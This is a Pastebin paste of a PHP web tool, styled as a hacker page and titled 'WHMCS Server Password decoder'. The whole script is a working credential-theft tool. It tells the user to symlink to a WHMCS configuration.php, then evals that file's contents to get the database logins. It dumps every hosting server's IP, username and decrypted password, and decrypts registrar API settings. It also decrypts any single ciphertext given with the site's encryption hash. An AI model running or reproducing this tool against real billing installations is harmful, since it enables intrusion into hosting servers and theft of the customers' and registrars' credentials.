Advertisement
ShunTyper

Whmcs Decoder

Aug 21st, 2016
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.09 KB | None | 0 0
  1. <?php
  2.     /**
  3.  
  4. Rinto AR
  5.  
  6.  **/
  7. function decrypt ($string,$cc_encryption_hash)
  8. {
  9.  
  10.     $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  11.     $hash_key = _hash ($key);
  12.     $hash_length = strlen ($hash_key);
  13.     $string = base64_decode ($string);
  14.     $tmp_iv = substr ($string, 0, $hash_length);
  15.     $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  16.     $iv = $out = '';
  17.     $c = 0;
  18.     while ($c < $hash_length)
  19.     {
  20.         $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  21.         ++$c;
  22.     }
  23.  
  24.     $key = $iv;
  25.     $c = 0;
  26.     while ($c < strlen ($string))
  27.     {
  28.         if (($c != 0 AND $c % $hash_length == 0))
  29.         {
  30.             $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  31.         }
  32.  
  33.         $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  34.         ++$c;
  35.     }
  36.  
  37.     return $out;
  38. }
  39.  
  40.  
  41. function _hash ($string)
  42. {
  43.     if (function_exists ('sha1'))
  44.     {
  45.         $hash = sha1 ($string);
  46.     }
  47.     else
  48.     {
  49.         $hash = md5 ($string);
  50.     }
  51.  
  52.     $out = '';
  53.     $c = 0;
  54.     while ($c < strlen ($hash))
  55.     {
  56.         $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  57.         $c += 2;
  58.     }
  59.  
  60.     return $out;
  61. }
  62.  
  63.  if($_POST['form_action'] == 1 )
  64.  {
  65.  //include($file);
  66.  
  67.  $file=($_POST['file']);
  68. $text=file_get_contents($file);
  69.  
  70. $text= str_replace("<?php", "", $text);
  71. $text= str_replace("<?", "", $text);
  72. $text= str_replace("?>", "", $text);
  73.  
  74. eval($text);
  75.  
  76.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  77.         mysql_select_db($db_name,$link) ;
  78.  
  79. $query = mysql_query("SELECT * FROM tblservers");
  80.  
  81. while($v = mysql_fetch_array($query)) {
  82.  
  83. $ipaddress = $v['ipaddress'];
  84. $username = $v['username'];
  85. $type = $v['type'];
  86. $active = $v['active'];
  87. $hostname = $v['hostname'];
  88.  
  89. echo("<center><table border='1'>");
  90. $password = decrypt ($v['password'], $cc_encryption_hash);
  91. echo("<tr><td>Type</td><td>$type</td></tr>");
  92. echo("<tr><td>Active</td><td>$active</td></tr>");
  93. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  94. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  95. echo("<tr><td>Username</td><td>$username</td></tr>");
  96. echo("<tr><td>Password</td><td>$password</td></tr>");
  97.  
  98.  
  99. echo "</table><br><br></center>";
  100.  
  101. }
  102.  
  103.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  104.         mysql_select_db($db_name,$link) ;
  105.  
  106. $query = mysql_query("SELECT * FROM tblregistrars");
  107. echo("<center>Domain Reseller <br><table border='1'>");
  108. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  109. while($v = mysql_fetch_array($query)) {
  110.  
  111. $registrar  = $v['registrar'];
  112. $setting = $v['setting'];
  113. $value = decrypt ($v['value'], $cc_encryption_hash);
  114. if ($value=="") {
  115. $value=0;
  116. }
  117. $password = decrypt ($v['password'], $cc_encryption_hash);
  118. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  119.  
  120.  
  121.  
  122.  
  123.  
  124. }
  125. echo "</table><br><br></center>";
  126. }
  127.  
  128.  
  129.  
  130.  if($_POST['form_action'] == 2 )
  131.  {
  132.  //include($file);
  133.  
  134.  $db_host=($_POST['db_host']);
  135.  $db_username=($_POST['db_username']);
  136.  $db_password=($_POST['db_password']);
  137.  $db_name=($_POST['db_name']);
  138.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  139.  
  140.  
  141.  
  142.  
  143.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  144.         mysql_select_db($db_name,$link) ;
  145.  
  146. $query = mysql_query("SELECT * FROM tblservers");
  147.  
  148. while($v = mysql_fetch_array($query)) {
  149.  
  150. $ipaddress = $v['ipaddress'];
  151. $username = $v['username'];
  152. $type = $v['type'];
  153. $active = $v['active'];
  154. $hostname = $v['hostname'];
  155.  
  156. echo("<center><table border='1'>");
  157. $password = decrypt ($v['password'], $cc_encryption_hash);
  158. echo("<tr><td>Type</td><td>$type</td></tr>");
  159. echo("<tr><td>Active</td><td>$active</td></tr>");
  160. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  161. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  162. echo("<tr><td>Username</td><td>$username</td></tr>");
  163. echo("<tr><td>Password</td><td>$password</td></tr>");
  164.  
  165.  
  166. echo "</table><br><br></center>";
  167.  
  168. }
  169.  
  170.  
  171.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  172.         mysql_select_db($db_name,$link) ;
  173.  
  174. $query = mysql_query("SELECT * FROM tblregistrars");
  175. echo("<center>Domain Reseller <br><table border='1'>");
  176. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  177. while($v = mysql_fetch_array($query)) {
  178.  
  179. $registrar  = $v['registrar'];
  180. $setting = $v['setting'];
  181. $value = decrypt ($v['value'], $cc_encryption_hash);
  182. if ($value=="") {
  183. $value=0;
  184. }
  185. $password = decrypt ($v['password'], $cc_encryption_hash);
  186. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  187.  
  188.  
  189.  
  190.  
  191.  
  192. }
  193. echo "</table><br><br></center>";
  194. }
  195.  
  196.  
  197.  
  198.  
  199. ?><body bgcolor="#000000">
  200.  <style>
  201.  
  202.     html,body {
  203.     background : black url('http://onlymat.com/1.png') repeat;
  204.     -webkit-background-size: cover;
  205.     -moz-background-size: cover;
  206.     background-size: cover;
  207.     color:#ffc000;
  208.     font-size:25px;
  209.     font-family:Agency FB;
  210.     text-decoration:none; { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}
  211. textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  212. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  213. </style>
  214. <center>
  215. <font color="#FFFF6FF" size='+3'>[ ~~ WHMCS Server Password decoder ~~ ]</font><br><br>
  216. <font color="#0066FF" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  217. </center>
  218. <FORM action=""  method="post">
  219. <input type="hidden" name="form_action" value="1">
  220. <br>
  221.  <input type="text" size="30" name="file" value="">
  222. <br>
  223. <INPUT class=submit type="submit" value="Submit" name="Submit">
  224. </FORM>
  225. <hr>
  226.  
  227. <br>
  228. <center>
  229. <font color="#0066FF" size='+2'>DB configuration of WHMCS</font><br>
  230. </center>
  231. <FORM action=""  method="post">
  232. <input type="hidden" name="form_action" value="2">
  233. <br>
  234. <table border=1>
  235.  
  236. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  237. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  238. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  239. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  240. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  241.  
  242. </table>
  243. <br>
  244. <INPUT class=submit type="submit" value="Submit" name="Submit">
  245. </FORM>
  246. <hr>
  247. <center>
  248. <font color="#0066FF" size='+2'>Password decoder</font><br>
  249. <?
  250.  if($_POST['form_action'] == 3 )
  251.  {
  252.  
  253.  
  254.  
  255.  $password=($_POST['password']);
  256.  
  257.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  258.  
  259.  
  260. $password = decrypt ($password, $cc_encryption_hash);
  261.  
  262. echo("Password is ".$password);
  263.  
  264. }
  265. ?>
  266. </center>
  267. <FORM action=""  method="post">
  268. <input type="hidden" name="form_action" value="3">
  269. <br>
  270. <table border=1>
  271.  
  272. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  273. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  274.  
  275. </table>
  276. <br>
  277. <INPUT class=submit type="submit" value="Submit" name="Submit">
  278. </FORM>
  279. <hr>
  280.  
  281.  
  282.   <center> <font color="#FFFF6FF" size='+1'>   Coded By Rinto AR    </font><br><br> <center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement